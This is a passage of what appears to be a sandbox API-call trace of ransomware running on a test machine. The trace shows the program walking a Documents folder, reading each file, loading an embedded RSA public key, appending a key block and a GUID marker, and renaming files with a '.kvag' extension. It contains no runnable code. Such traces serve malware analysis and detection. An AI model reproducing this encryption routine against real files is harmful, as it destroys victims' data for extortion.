halpmcxz\\documents\\xhkfg1budw5et.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.636] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=24844) returned 1 [0119.636] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.638] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x60e6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.638] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.639] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x610c, lpOverlapped=0x0) returned 1 [0119.640] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.640] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.640] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.640] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.641] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.641] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.641] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.641] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.641] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.641] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.641] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.641] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.641] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.641] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.642] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x610c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.642] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.642] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.642] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.642] CloseHandle (hObject=0x61c) returned 1 [0119.643] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xHKfg1buDW5Et.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xhkfg1budw5et.ots"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xHKfg1buDW5Et.ots.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xhkfg1budw5et.ots.kvag")) returned 1 [0119.644] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93fe640, ftCreationTime.dwHighDateTime=0x1d4c9a0, ftLastAccessTime.dwLowDateTime=0x71d0a900, ftLastAccessTime.dwHighDateTime=0x1d4ce51, ftLastWriteTime.dwLowDateTime=0x71d0a900, ftLastWriteTime.dwHighDateTime=0x1d4ce51, nFileSizeHigh=0x0, nFileSizeLow=0xe0bb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xJBVQQII-j.xls", cAlternateFileName="XJBVQQ~1.XLS")) returned 1 [0119.644] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xJBVQQII-j.xls") returned=".xls" [0119.644] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xJBVQQII-j.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xjbvqqii-j.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.645] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=57531) returned 1 [0119.645] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.647] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xe095, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.647] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.648] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xe0bb, lpOverlapped=0x0) returned 1 [0119.649] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.649] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.649] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.649] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.650] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.650] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.650] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.650] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.650] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.650] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.650] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.650] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.650] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.650] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.651] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xe0bb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.651] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.651] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.651] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.651] CloseHandle (hObject=0x61c) returned 1 [0119.652] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xJBVQQII-j.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xjbvqqii-j.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xJBVQQII-j.xls.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xjbvqqii-j.xls.kvag")) returned 1 [0119.653] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2f2c6b0, ftCreationTime.dwHighDateTime=0x1d53717, ftLastAccessTime.dwLowDateTime=0xbdf30a00, ftLastAccessTime.dwHighDateTime=0x1d4f82f, ftLastWriteTime.dwLowDateTime=0xbdf30a00, ftLastWriteTime.dwHighDateTime=0x1d4f82f, nFileSizeHigh=0x0, nFileSizeLow=0x3b77, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XpuS4jw10.docx", cAlternateFileName="XPUS4J~1.DOC")) returned 1 [0119.653] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XpuS4jw10.docx") returned=".docx" [0119.653] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XpuS4jw10.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xpus4jw10.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.653] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=15223) returned 1 [0119.654] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.655] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x3b51, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.655] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.657] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x3b77, lpOverlapped=0x0) returned 1 [0119.658] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.658] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.658] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.658] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.658] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.658] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.659] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.659] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.659] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.659] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.659] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.659] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.659] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.659] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.659] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x3b77, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.659] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.659] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.659] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.660] CloseHandle (hObject=0x61c) returned 1 [0119.660] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XpuS4jw10.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xpus4jw10.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XpuS4jw10.docx.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xpus4jw10.docx.kvag")) returned 1 [0119.662] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe62cd10, ftCreationTime.dwHighDateTime=0x1d533de, ftLastAccessTime.dwLowDateTime=0xa99d2a10, ftLastAccessTime.dwHighDateTime=0x1d55f66, ftLastWriteTime.dwLowDateTime=0xa99d2a10, ftLastWriteTime.dwHighDateTime=0x1d55f66, nFileSizeHigh=0x0, nFileSizeLow=0xda82, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZKPjo8JohJqXPt0egkjs.pptx", cAlternateFileName="ZKPJO8~1.PPT")) returned 1 [0119.662] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZKPjo8JohJqXPt0egkjs.pptx") returned=".pptx" [0119.662] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZKPjo8JohJqXPt0egkjs.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zkpjo8johjqxpt0egkjs.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.662] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=55938) returned 1 [0119.662] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.664] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xda5c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.664] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.665] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xda82, lpOverlapped=0x0) returned 1 [0119.666] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.666] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.666] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.666] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.667] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.667] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.667] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.667] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.667] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.667] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 